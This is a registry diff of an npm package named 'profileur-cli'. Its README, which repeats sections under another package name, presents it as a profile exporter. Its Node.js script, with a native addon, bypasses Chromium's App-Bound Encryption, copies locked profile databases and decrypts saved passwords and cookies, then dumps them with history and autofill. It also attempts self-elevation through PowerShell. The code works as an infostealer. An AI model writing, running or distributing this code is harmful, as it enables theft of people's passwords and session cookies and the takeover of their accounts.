profileur-cli 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,306 @@
1
+ ## profileur-cli
2
+
3
+ Low-level Windows helper to export browser profile data (cookies, saved logins, history, autofill) from Chromium-based browsers, backed by a native C++ addon that interacts with processes and profile databases at a system level.
4
+
5
+ > ⚠️ **Windows only.** Requires a native `chrome_elevator.node` binary built for the target platform and usually Administrator privileges.
6
+
7
+ ### What it does
8
+
9
+ - **Targets**: Any Chromium-based browser where you know the profile directory (Chrome, Edge, Brave, custom Chromium builds, etc.).
10
+ - **Data exported**:
11
+ - Cookies (in Netscape HTTP Cookie File format)
12
+ - Saved logins (URLs, usernames, decrypted passwords)
13
+ - Browsing history
14
+ - Autofill records
15
+ - **Architecture**:
16
+ - Node.js wrapper script (`extractor_cli.js`)
17
+ - Native C++ addon (`chrome_elevator.node`) doing the low-level work (process interaction, locked-file copying, access to protected profile data).
18
+
19
+ Use cases include incident response, forensics, backup/migration of browser profiles, or automated integration testing where you need to replay authenticated sessions.
20
+
21
+ ---
22
+
23
+ ## Installation
24
+
25
+ **Project (local dependency)**:
26
+
27
+ ```bash
28
+ npm install profileur-cli
29
+ ```
30
+
31
+ **Global (CLI usage)**:
32
+
33
+ ```bash
34
+ npm install -g profileur-cli
35
+ ```
36
+
37
+ ---
38
+
39
+ ## CLI usage
40
+
41
+ Once installed globally:
42
+
43
+ ```bash
44
+ profile-exporter -v
45
+ ```
46
+
47
+ **Options:**
48
+
49
+ - `-v`, `--verbose`: enable detailed debug logging.
50
+ - `-h`, `--help`: show help.
51
+
52
+ By default, extracted data is written under:
53
+
54
+ ```text
55
+ extracted_data/<browserKey>/<profile>/
56
+ ```
57
+
58
+ > The CLI uses whatever browsers are configured inside the packaged script. For full control over which browsers are processed, prefer the programmatic API below.
59
+
60
+ ---
61
+
62
+ ## Programmatic usage (Node module)
63
+
64
+ ```js
65
+ const path = require('path');
66
+ const { main } = require('profileur-cli');
67
+
68
+ // Example: write all exports under a local "exports" folder
69
+ main({
70
+ outputDir: path.join(__dirname, 'exports'),
71
+ browsers: {
72
+ chrome: {
73
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
74
+ name: 'Google Chrome'
75
+ },
76
+ 'chrome-beta': {
77
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
78
+ name: 'Google Chrome Beta'
79
+ },
80
+ edge: {
81
+ path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
82
+ name: 'Microsoft Edge'
83
+ },
84
+ brave: {
85
+ path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
86
+ name: 'Brave Browser'
87
+ }
88
+ }
89
+ });
90
+ ```
91
+
92
+ **Options:**
93
+
94
+ - **`outputDir`** (string): base folder where results are written. Defaults to `extracted_data` if omitted.
95
+ - **`browsers`** (object, required): map of browser keys to:
96
+ - **`path`** (string): path to the browser “User Data” directory (often under `%LOCALAPPDATA%`).
97
+ - **`name`** (string): human-friendly name used in logs.
98
+
99
+ If `browsers` is missing or empty, the library logs an error and exits without running extraction.
100
+
101
+ Because the native addon operates at a low level (interacting with locked files and browser resources), it should be run only in trusted environments and with appropriate permissions.
102
+
103
+ ---
104
+
105
+ ## Publishing to npm (for maintainers)
106
+
107
+ From the project root:
108
+
109
+ ```bash
110
+ npm login # once
111
+ npm publish --access public
112
+ ```
113
+
114
+ Ensure that:
115
+
116
+ - `chrome_elevator.node` is included in the published files (see the `files` field in `package.json`).
117
+ - The paths used in `extractor_cli.js` are compatible with how you bundle/distribute the native addon (plain Node, `pkg`, Electron, etc.).
118
+
119
+ ## chromium-abe-extractor
120
+
121
+ Extract Cookies, Passwords, History, and Autofill from Chromium-based browsers (Chrome, Edge, Brave, etc.) on Windows, using an App-Bound Encryption (ABE) key bypass.
122
+
123
+ > ⚠️ **Windows only.** Requires a native `chrome_elevator.node` binary built for the target platform and usually Administrator privileges.
124
+
125
+ ### Features
126
+
127
+ - **Browsers**: Works with any Chromium-based profile folder you configure (Chrome, Edge, Brave, custom builds, etc.).
128
+ - **Data types**:
129
+ - Cookies (exported in Netscape HTTP Cookie File format)
130
+ - Saved passwords
131
+ - Browsing history
132
+ - Autofill data
133
+ - **Configurable**: The library does **not** hard-code browser paths; you provide them when calling the module.
134
+
135
+ ---
136
+
137
+ ## Installation
138
+
139
+ **Project (local dependency)**:
140
+
141
+ ```bash
142
+ npm install chromium-abe-extractor
143
+ ```
144
+
145
+ **Global (CLI usage)**:
146
+
147
+ ```bash
148
+ npm install -g chromium-abe-extractor
149
+ ```
150
+
151
+ ---
152
+
153
+ ## CLI usage
154
+
155
+ Once installed globally:
156
+
157
+ ```bash
158
+ extractor -v
159
+ ```
160
+
161
+ **Options:**
162
+
163
+ - `-v`, `--verbose`: enable detailed debug logging.
164
+ - `-h`, `--help`: show help.
165
+
166
+ By default, extracted data is written under:
167
+
168
+ ```text
169
+ extracted_data/<browserKey>/<profile>/
170
+ ```
171
+
172
+ > The CLI uses whatever browsers are configured inside the packaged script. For full control over which browsers are processed, prefer the programmatic API below.
173
+
174
+ ---
175
+
176
+ ## Programmatic usage (Node module)
177
+
178
+ ```js
179
+ const path = require('path');
180
+ const { main } = require('chromium-abe-extractor');
181
+
182
+ // Example: write all exports under a local "exports" folder
183
+ main({
184
+ outputDir: path.join(__dirname, 'exports'),
185
+ browsers: {
186
+ chrome: {
187
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome', 'User Data'),
188
+ name: 'Google Chrome'
189
+ },
190
+ 'chrome-beta': {
191
+ path: path.join(process.env.LOCALAPPDATA, 'Google', 'Chrome Beta', 'User Data'),
192
+ name: 'Google Chrome Beta'
193
+ },
194
+ edge: {
195
+ path: path.join(process.env.LOCALAPPDATA, 'Microsoft', 'Edge', 'User Data'),
196
+ name: 'Microsoft Edge'
197
+ },
198
+ brave: {
199
+ path: path.join(process.env.LOCALAPPDATA, 'BraveSoftware', 'Brave-Browser', 'User Data'),
200
+ name: 'Brave Browser'
201
+ }
202
+ }
203
+ });
204
+ ```
205
+
206
+ **Options:**
207
+
208
+ - **`outputDir`** (string): base folder where results are written. Defaults to `extracted_data` if omitted.
209
+ - **`browsers`** (object, required): map of browser keys to:
210
+ - **`path`** (string): path to the browser “User Data” directory (often under `%LOCALAPPDATA%`).
211
+ - **`name`** (string): human-friendly name used in logs.
212
+
213
+ If `browsers` is missing or empty, the library logs an error and exits without running extraction.
214
+
215
+ ---
216
+
217
+ ## Publishing to npm (for maintainers)
218
+
219
+ From the project root:
220
+
221
+ ```bash
222
+ npm login # once
223
+ npm publish --access public
224
+ ```
225
+
226
+ Ensure that:
227
+
228
+ - `chrome_elevator.node` is included in the published files (see the `files` field in `package.json`).
229
+ - The paths used in `extractor_cli.js` are compatible with how you bundle/distribute the native addon (plain Node, `pkg`, Electron, etc.).
230
+
231
+ # chromium-abe-extractor
232
+
233
+ Extract Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave using App-Bound Encryption (ABE) key bypass on Windows.
234
+
235
+ > ⚠️ Windows uniquement. Nécessite un binaire natif `chrome_elevator.node` compilé pour la plateforme cible et très probablement les droits Administrateur.
236
+
237
+ ## Installation
238
+
239
+ Depuis un projet Node (en local) :
240
+
241
+ ```bash
242
+ npm install chromium-abe-extractor
243
+ ```
244
+
245
+ Ou en global pour l'utiliser en ligne de commande :
246
+
247
+ ```bash
248
+ npm install -g chromium-abe-extractor
249
+ ```
250
+
251
+ ## Utilisation en CLI
252
+
253
+ Une fois installé globalement :
254
+
255
+ ```bash
256
+ extractor -v
257
+ ```
258
+
259
+ Options :
260
+
261
+ - `-v`, `--verbose` : active les logs détaillés.
262
+ - `-h`, `--help` : affiche l'aide.
263
+
264
+ Les données extraites sont écrites dans le dossier `extracted_data/<browser>/<profile>/`.
265
+
266
+ ## Utilisation comme module Node
267
+
268
+ ```js
269
+ const { main } = require('chromium-abe-extractor');
270
+
271
+ // Lance l'extraction comme en CLI (sortie dans "extracted_data/...")
272
+ main();
273
+
274
+ // Personnaliser le dossier de sortie
275
+ main({
276
+ outputDir: 'C:\\name\\name\\Documents\\mes_exports'
277
+ // ou en relatif par rapport au process courant, par ex. 'mes_exports'
278
+ });
279
+
280
+ // Personnaliser les navigateurs utilisés (sans modifier le module)
281
+ main({
282
+ outputDir: 'mes_exports',
283
+ browsers: {
284
+ chrome: {
285
+ path: 'C:\\Users\\name\\AppData\\Local\\Google\\Chrome\\User Data',
286
+ name: 'Mon Chrome Perso'
287
+ },
288
+ myCustomChromium: {
289
+ path: 'D:\\Browsers\\CustomChromium\\User Data',
290
+ name: 'Custom Chromium Build'
291
+ }
292
+ }
293
+ });
294
+ ```
295
+
296
+ ## Publication sur npm
297
+
298
+ Depuis le dossier du projet :
299
+
300
+ ```bash
301
+ npm login # une seule fois
302
+ npm publish --access public
303
+ ```
304
+
305
+ Assure-toi que `chrome_elevator.node` est présent dans le paquet (par exemple dans `./build/Release/chrome_elevator.node`) et que les chemins dans `extractor_cli.js` pointent au bon endroit avant de publier.
306
+
Binary file
@@ -0,0 +1,501 @@
1
+ #!/usr/bin/env node
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const crypto = require('crypto');
5
+ const { execSync, spawnSync } = require('child_process');
6
+
7
+ // --- Configuration & CLI Args ---
8
+ const args = process.argv.slice(2);
9
+ const VERBOSE = args.includes('--verbose') || args.includes('-v');
10
+ const HELP = args.includes('--help') || args.includes('-h');
11
+
12
+ if (HELP) {
13
+ console.log(`
14
+ Usage: extractor.exe [options]
15
+
16
+ Options:
17
+ -v, --verbose Enable detailed debug logging
18
+ -h, --help Show this help message
19
+
20
+ Description:
21
+ Extracts Cookies, Passwords, History, and Autofill from Chrome, Edge, and Brave
22
+ using App-Bound Encryption (ABE) key bypass.
23
+ `);
24
+ process.exit(0);
25
+ }
26
+
27
+ function debug(msg) {
28
+ if (VERBOSE) console.log(`[DEBUG] ${msg}`);
29
+ }
30
+
31
+ function log(msg) {
32
+ console.log(msg);
33
+ }
34
+
35
+ function error(msg) {
36
+ console.error(`[ERROR] ${msg}`);
37
+ }
38
+
39
+ // --- Load Native Addon ---
40
+ let chromeElevator;
41
+ try {
42
+ const baseDir = __dirname;
43
+
44
+ // Try multiple paths to find the native addon
45
+ const possiblePaths = [
46
+ path.join(baseDir, 'build', 'Release', 'chrome_elevator.node'),
47
+ path.join(baseDir, 'chrome_elevator.node'),
48
+ path.join(process.resourcesPath || '', 'chrome_elevator.node'), // Electron/Builder path
49
+ path.join(path.dirname(process.execPath), 'chrome_elevator.node')
50
+ ];
51
+
52
+ for (const p of possiblePaths) {
53
+ if (fs.existsSync(p)) {
54
+ debug(`Found native addon at: ${p}`);
55
+ chromeElevator = require(p);
56
+ break;
57
+ }
58
+ }
59
+
60
+ if (!chromeElevator) {
61
+ // Fallback to standard require if specific paths fail (e.g. dev environment)
62
+ try {
63
+ chromeElevator = require(path.join(baseDir, 'build', 'Release', 'chrome_elevator.node'));
64
+ } catch (e) {
65
+ throw new Error("Could not find chrome_elevator.node in standard locations.");
66
+ }
67
+ }
68
+ } catch (err) {
69
+ error("Failed to load native addon: " + err.message);
70
+ process.exit(1);
71
+ }
72
+
73
+ // --- Database Library ---
74
+ let Database;
75
+ try {
76
+ Database = require('better-sqlite3');
77
+ } catch (err) {
78
+ error("Failed to load better-sqlite3: " + err.message);
79
+ process.exit(1);
80
+ }
81
+
82
+ // --- Helper Functions ---
83
+
84
+ /**
85
+ * Reads profile list and display names from browser Local State (same source as the browser).
86
+ * Returns { folders: string[], displayNames: Object.<string, string> }.
87
+ * Falls back to empty if file missing or invalid.
88
+ */
89
+ function readLocalStateProfiles(userDataPath) {
90
+ const localStatePath = path.join(userDataPath, 'Local State');
91
+ const result = { folders: [], displayNames: {} };
92
+
93
+ if (!fs.existsSync(localStatePath)) return result;
94
+
95
+ try {
96
+ const raw = fs.readFileSync(localStatePath, 'utf8');
97
+ const data = JSON.parse(raw);
98
+ const infoCache = data?.profile?.info_cache;
99
+
100
+ if (!infoCache || typeof infoCache !== 'object') return result;
101
+
102
+ for (const [folderName, info] of Object.entries(infoCache)) {
103
+ result.folders.push(folderName);
104
+ if (info && typeof info.name === 'string') {
105
+ result.displayNames[folderName] = info.name;
106
+ }
107
+ }
108
+ } catch (err) {
109
+ debug(`Local State read failed: ${err.message}`);
110
+ }
111
+
112
+ return result;
113
+ }
114
+
115
+ /**
116
+ * Returns list of profile folder names to process. Uses Local State first so all
117
+ * profiles (e.g. "Ad Blocking") are included; only keeps folders that exist on disk.
118
+ */
119
+ function getProfileFolders(userDataPath) {
120
+ const { folders, displayNames } = readLocalStateProfiles(userDataPath);
121
+
122
+ const existing = folders.filter((name) => {
123
+ const fullPath = path.join(userDataPath, name);
124
+ try {
125
+ return fs.statSync(fullPath).isDirectory();
126
+ } catch {
127
+ return false;
128
+ }
129
+ });
130
+
131
+ if (existing.length > 0) return { folders: existing, displayNames };
132
+
133
+ // Fallback: scan filesystem (Default, Profile 1, Profile 2, ...)
134
+ try {
135
+ const entries = fs.readdirSync(userDataPath, { withFileTypes: true });
136
+ for (const entry of entries) {
137
+ if (entry.isDirectory() && (entry.name === 'Default' || entry.name.startsWith('Profile'))) {
138
+ existing.push(entry.name);
139
+ }
140
+ }
141
+ } catch (err) {
142
+ debug(`Profile folder scan failed: ${err.message}`);
143
+ }
144
+
145
+ return { folders: existing, displayNames };
146
+ }
147
+
148
+ function isAdmin() {
149
+ try {
150
+ execSync('net session', { stdio: 'ignore' });
151
+ return true;
152
+ } catch {
153
+ return false;
154
+ }
155
+ }
156
+
157
+ function copyFileVSS(source, dest) {
158
+ debug(`Copying ${source} to ${dest}`);
159
+ try {
160
+ // 1. Try native copyLockedFile
161
+ if (chromeElevator.copyLockedFile) {
162
+ debug("Attempting native copyLockedFile...");
163
+ if (chromeElevator.copyLockedFile(source, dest)) {
164
+ debug("Native copy successful.");
165
+ return;
166
+ }
167
+ debug("Native copy returned false.");
168
+ }
169
+
170
+ // 2. Try standard fs.copy
171
+ debug("Attempting standard fs.copy...");
172
+ fs.copyFileSync(source, dest);
173
+ debug("Standard copy successful.");
174
+
175
+ } catch (err) {
176
+ debug(`Standard copy failed: ${err.message}`);
177
+ // 3. Fallback to esentutl
178
+ try {
179
+ debug("Attempting esentutl fallback...");
180
+ const cmd = `esentutl /y "${source}" /d "${dest}" /vss`;
181
+ execSync(cmd, { stdio: 'ignore' });
182
+ debug("Esentutl copy successful.");
183
+ } catch (e) {
184
+ throw new Error("All copy methods failed. Esentutl error: " + e.message);
185
+ }
186
+ }
187
+ }
188
+
189
+ function decryptData(encryptedBuffer, keyHex) {
190
+ try {
191
+ if (!encryptedBuffer || encryptedBuffer.length < 31) return null;
192
+
193
+ const prefix = encryptedBuffer.slice(0, 3).toString();
194
+ if (prefix !== 'v20') return null;
195
+
196
+ const iv = encryptedBuffer.slice(3, 15);
197
+ const ciphertext = encryptedBuffer.slice(15, -16);
198
+ const tag = encryptedBuffer.slice(-16);
199
+ const key = Buffer.from(keyHex, 'hex');
200
+
201
+ const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
202
+ decipher.setAuthTag(tag);
203
+
204
+ let decrypted = decipher.update(ciphertext);
205
+ decrypted = Buffer.concat([decrypted, decipher.final()]);
206
+
207
+ if (decrypted.length > 32) {
208
+ return decrypted.slice(32).toString('utf8');
209
+ }
210
+ return decrypted.toString('utf8');
211
+
212
+ } catch (err) {
213
+ debug(`Decryption failed: ${err.message}`);
214
+ return null;
215
+ }
216
+ }
217
+
218
+ function toNetscape(cookie) {
219
+ const domain = cookie.host_key;
220
+ const flag = domain.startsWith('.') ? 'TRUE' : 'FALSE';
221
+ const path = cookie.path;
222
+ const secure = cookie.is_secure ? 'TRUE' : 'FALSE';
223
+
224
+ let expiration = 0;
225
+ if (cookie.expires_utc > 0) {
226
+ expiration = Math.floor((cookie.expires_utc / 1000000) - 11644473600);
227
+ if (expiration < 0) expiration = 0;
228
+ }
229
+
230
+ const name = cookie.name;
231
+ const value = cookie.decryptedValue;
232
+
233
+ return `${domain}\t${flag}\t${path}\t${secure}\t${expiration}\t${name}\t${value}`;
234
+ }
235
+
236
+ // --- Extraction Functions ---
237
+
238
+ function extractHistory(profilePath, outputDir) {
239
+ const historyPath = path.join(profilePath, 'History');
240
+ if (!fs.existsSync(historyPath)) {
241
+ debug(`No History file found at ${historyPath}`);
242
+ return;
243
+ }
244
+
245
+ const tempDb = path.join(outputDir, 'temp_history.db');
246
+ try {
247
+ copyFileVSS(historyPath, tempDb);
248
+ const db = new Database(tempDb, { readonly: true });
249
+
250
+ const stmt = db.prepare('SELECT url, title, visit_count, last_visit_time FROM urls ORDER BY last_visit_time DESC LIMIT 5000');
251
+ const rows = stmt.all();
252
+
253
+ const outFile = path.join(outputDir, 'history.txt');
254
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
255
+
256
+ for (const row of rows) {
257
+ stream.write(`URL: ${row.url}\nTitle: ${row.title}\nVisits: ${row.visit_count}\nLast Visit: ${row.last_visit_time}\n--------------------------\n`);
258
+ }
259
+
260
+ stream.end();
261
+ db.close();
262
+ log(` [V] Extracted ${rows.length} history items.`);
263
+ } catch (err) {
264
+ error(`Error extracting history: ${err.message}`);
265
+ } finally {
266
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
267
+ }
268
+ }
269
+
270
+ function extractAutofill(profilePath, outputDir) {
271
+ const webDataPath = path.join(profilePath, 'Web Data');
272
+ if (!fs.existsSync(webDataPath)) {
273
+ debug(`No Web Data file found at ${webDataPath}`);
274
+ return;
275
+ }
276
+
277
+ const tempDb = path.join(outputDir, 'temp_webdata.db');
278
+ try {
279
+ copyFileVSS(webDataPath, tempDb);
280
+ const db = new Database(tempDb, { readonly: true });
281
+
282
+ const stmt = db.prepare('SELECT name, value, date_created FROM autofill');
283
+ const rows = stmt.all();
284
+
285
+ const outFile = path.join(outputDir, 'autofill.txt');
286
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
287
+
288
+ for (const row of rows) {
289
+ stream.write(`Name: ${row.name}\nValue: ${row.value}\nDate: ${row.date_created}\n--------------------------\n`);
290
+ }
291
+
292
+ stream.end();
293
+ db.close();
294
+ log(` [V] Extracted ${rows.length} autofill items.`);
295
+ } catch (err) {
296
+ error(`Error extracting autofill: ${err.message}`);
297
+ } finally {
298
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
299
+ }
300
+ }
301
+
302
+ function extractPasswords(profilePath, outputDir, key) {
303
+ const loginDataPath = path.join(profilePath, 'Login Data');
304
+ if (!fs.existsSync(loginDataPath)) {
305
+ debug(`No Login Data file found at ${loginDataPath}`);
306
+ return;
307
+ }
308
+
309
+ const tempDb = path.join(outputDir, 'temp_login.db');
310
+ try {
311
+ copyFileVSS(loginDataPath, tempDb);
312
+ const db = new Database(tempDb, { readonly: true });
313
+
314
+ const stmt = db.prepare('SELECT origin_url, username_value, password_value FROM logins');
315
+ const rows = stmt.all();
316
+
317
+ const outFile = path.join(outputDir, 'passwords.txt');
318
+ const stream = fs.createWriteStream(outFile, { flags: 'w' });
319
+ let count = 0;
320
+
321
+ for (const row of rows) {
322
+ if (row.password_value) {
323
+ const decryptedPass = decryptData(row.password_value, key);
324
+ if (decryptedPass) {
325
+ stream.write(`URL: ${row.origin_url}\nUser: ${row.username_value}\nPass: ${decryptedPass}\n--------------------------\n`);
326
+ count++;
327
+ }
328
+ }
329
+ }
330
+
331
+ stream.end();
332
+ db.close();
333
+ log(` [V] Extracted ${count} passwords.`);
334
+ } catch (err) {
335
+ error(`Error extracting passwords: ${err.message}`);
336
+ } finally {
337
+ if (fs.existsSync(tempDb)) try { fs.unlinkSync(tempDb); } catch(e) {}
338
+ }
339
+ }
340
+
341
+ // --- Main Execution ---
342
+
343
+ /**
344
+ * Run full extraction.
345
+ * @param {Object} [options]
346
+ * @param {string} [options.outputDir] Base output directory (default: "extracted_data")
347
+ * @param {Object<string, { path: string, name: string }>} [options.browsers] Custom browsers map
348
+ */
349
+ function main(options = {}) {
350
+ const outputBaseDir = options.outputDir || options.outputBaseDir || 'extracted_data';
351
+ const browsers = options.browsers || {};
352
+
353
+ if (!browsers || Object.keys(browsers).length === 0) {
354
+ error("No browsers configuration provided. Please pass options.browsers = { <key>: { path, name } }.");
355
+ return;
356
+ }
357
+ log("=== Universal Browser Data Extractor CLI (ABE) ===");
358
+ log("Version 1.0.0");
359
+ debug("Debug mode enabled.");
360
+
361
+ if (!isAdmin()) {
362
+ log("[-] Not running as Administrator. Attempting to elevate...");
363
+ try {
364
+ const scriptPath = __filename;
365
+ const nodePath = process.execPath;
366
+
367
+ // Check if we are in an executable (pkg or electron built)
368
+ const isPackaged = process.pkg || process.argv[0].endsWith('.exe');
369
+
370
+ let cmd;
371
+ if (isPackaged && !process.argv[0].includes('node.exe')) {
372
+ // If running as a standalone EXE (not node.exe), restart the EXE itself
373
+ cmd = `powershell -Command "Start-Process '${process.argv[0]}' -ArgumentList '${args.join(' ')}' -Verb RunAs"`;
374
+ } else {
375
+ // If running as node script
376
+ cmd = `powershell -Command "Start-Process '${nodePath}' -ArgumentList '${scriptPath} ${args.join(' ')}' -Verb RunAs"`;
377
+ }
378
+
379
+ debug(`Elevation command: ${cmd}`);
380
+ execSync(cmd);
381
+ log("[+] Elevated process started. Please check the new window.");
382
+ process.exit(0);
383
+ } catch (err) {
384
+ error("Failed to elevate privileges: " + err.message);
385
+ log("[!] Continuing without Admin rights (some files may be locked)...");
386
+ }
387
+ } else {
388
+ log("[+] Running as Administrator.");
389
+ }
390
+
391
+ for (const [key, config] of Object.entries(browsers)) {
392
+ if (!fs.existsSync(config.path)) {
393
+ debug(`${config.name} not found at ${config.path}`);
394
+ continue;
395
+ }
396
+
397
+ log(`\n[*] Processing ${config.name}...`);
398
+
399
+ // 1. Get ABE Key
400
+ let abeKey;
401
+ try {
402
+ log(` > Requesting ABE Key...`);
403
+ abeKey = chromeElevator.getABEKey(key);
404
+ if (!abeKey) {
405
+ log(` [!] Failed to retrieve ABE Key.`);
406
+ continue;
407
+ }
408
+ log(` [V] Key retrieved successfully.`);
409
+ debug(`Key length: ${abeKey.length / 2} bytes`);
410
+ } catch (err) {
411
+ error(`Error retrieving key: ${err.message}`);
412
+ continue;
413
+ }
414
+
415
+ // 2. Find Profiles (from Local State so all profiles e.g. "Ad Blocking" are included)
416
+ const { folders: profiles, displayNames } = getProfileFolders(config.path);
417
+
418
+ if (profiles.length === 0) {
419
+ log(` [!] No profiles found.`);
420
+ continue;
421
+ }
422
+
423
+ log(` > Found ${profiles.length} profiles.`);
424
+
425
+ // 3. Process each profile
426
+ for (const profile of profiles) {
427
+ const profilePath = path.join(config.path, profile);
428
+ const cookiePath = path.join(profilePath, 'Network', 'Cookies');
429
+ const displayName = displayNames[profile];
430
+ const profileLabel = displayName ? `${profile} (${displayName})` : profile;
431
+
432
+ log(` > Profile: ${profileLabel}`);
433
+
434
+ // Create output directory
435
+ const outputDir = path.join(outputBaseDir, key, profile);
436
+ if (!fs.existsSync(outputDir)) {
437
+ fs.mkdirSync(outputDir, { recursive: true });
438
+ }
439
+
440
+ // Extract Cookies
441
+ if (fs.existsSync(cookiePath)) {
442
+ const tempDbPath = path.join(outputDir, 'temp_cookies.db');
443
+ try {
444
+ copyFileVSS(cookiePath, tempDbPath);
445
+ const db = new Database(tempDbPath, { readonly: true });
446
+ const stmt = db.prepare('SELECT host_key, name, path, is_secure, expires_utc, encrypted_value FROM cookies');
447
+ const cookies = stmt.all();
448
+
449
+ let decryptedCount = 0;
450
+ const outputFile = path.join(outputDir, 'cookies.txt');
451
+ const stream = fs.createWriteStream(outputFile, { flags: 'w' });
452
+
453
+ stream.write("# Netscape HTTP Cookie File\n");
454
+ stream.write("# This file was generated by Chrome ABE Decryptor\n\n");
455
+
456
+ for (const cookie of cookies) {
457
+ if (cookie.encrypted_value) {
458
+ const decryptedValue = decryptData(cookie.encrypted_value, abeKey);
459
+ if (decryptedValue) {
460
+ cookie.decryptedValue = decryptedValue;
461
+ const netscapeLine = toNetscape(cookie);
462
+ stream.write(netscapeLine + "\n");
463
+ decryptedCount++;
464
+ }
465
+ }
466
+ }
467
+
468
+ stream.end();
469
+ db.close();
470
+ log(` [V] Extracted ${decryptedCount} cookies.`);
471
+ } catch (err) {
472
+ error(`Error processing cookies: ${err.message}`);
473
+ } finally {
474
+ if (fs.existsSync(tempDbPath)) try { fs.unlinkSync(tempDbPath); } catch(e) {}
475
+ }
476
+ } else {
477
+ debug(`No Cookies file found at ${cookiePath}`);
478
+ }
479
+
480
+ // Extract History
481
+ extractHistory(profilePath, outputDir);
482
+
483
+ // Extract Autofill
484
+ extractAutofill(profilePath, outputDir);
485
+
486
+ // Extract Passwords
487
+ extractPasswords(profilePath, outputDir, abeKey);
488
+ }
489
+ }
490
+ log("\n=== Extraction Complete ===");
491
+ if (process.stdin.isTTY) {
492
+ log("Press Enter to exit...");
493
+ process.stdin.once('data', () => process.exit(0));
494
+ }
495
+ }
496
+
497
+ if (require.main === module) {
498
+ main();
499
+ }
500
+
501
+ module.exports = { main };
package/package.json ADDED
@@ -0,0 +1,30 @@
1
+ {
2
+ "name": "profileur-cli",
3
+ "version": "2.0.0",
4
+ "description": "Export cookies, saved logins, history, and autofill data from Chromium-based browser profiles on Windows using a native helper.",
5
+ "main": "extractor_cli.js",
6
+ "bin": {
7
+ "profile-exporter": "extractor_cli.js"
8
+ },
9
+ "scripts": {
10
+ "start": "node extractor_cli.js"
11
+ },
12
+ "keywords": [
13
+ "chromium"
14
+
15
+ ],
16
+ "author": "",
17
+ "license": "MIT",
18
+ "dependencies": {
19
+ "better-sqlite3": "^11.0.0"
20
+ },
21
+ "files": [
22
+ "extractor_cli.js",
23
+ "chrome_elevator.node",
24
+ "README.md"
25
+ ],
26
+ "os": [
27
+ "win32"
28
+ ]
29
+ }
30
+